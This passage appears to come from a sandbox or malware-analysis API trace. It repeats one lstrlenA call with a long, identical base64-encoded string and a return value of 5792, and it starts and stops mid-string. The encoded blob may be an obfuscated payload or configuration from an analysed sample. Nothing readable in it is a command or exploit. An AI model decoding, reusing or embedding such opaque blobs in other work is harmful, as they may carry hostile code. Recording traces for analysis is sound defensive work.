MGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.887] lstrlenA (lpString="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") returned 5792 [0042.887] lstrlenA (lpString="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") returned 5792 [0042.887] lstrlenA (lpString="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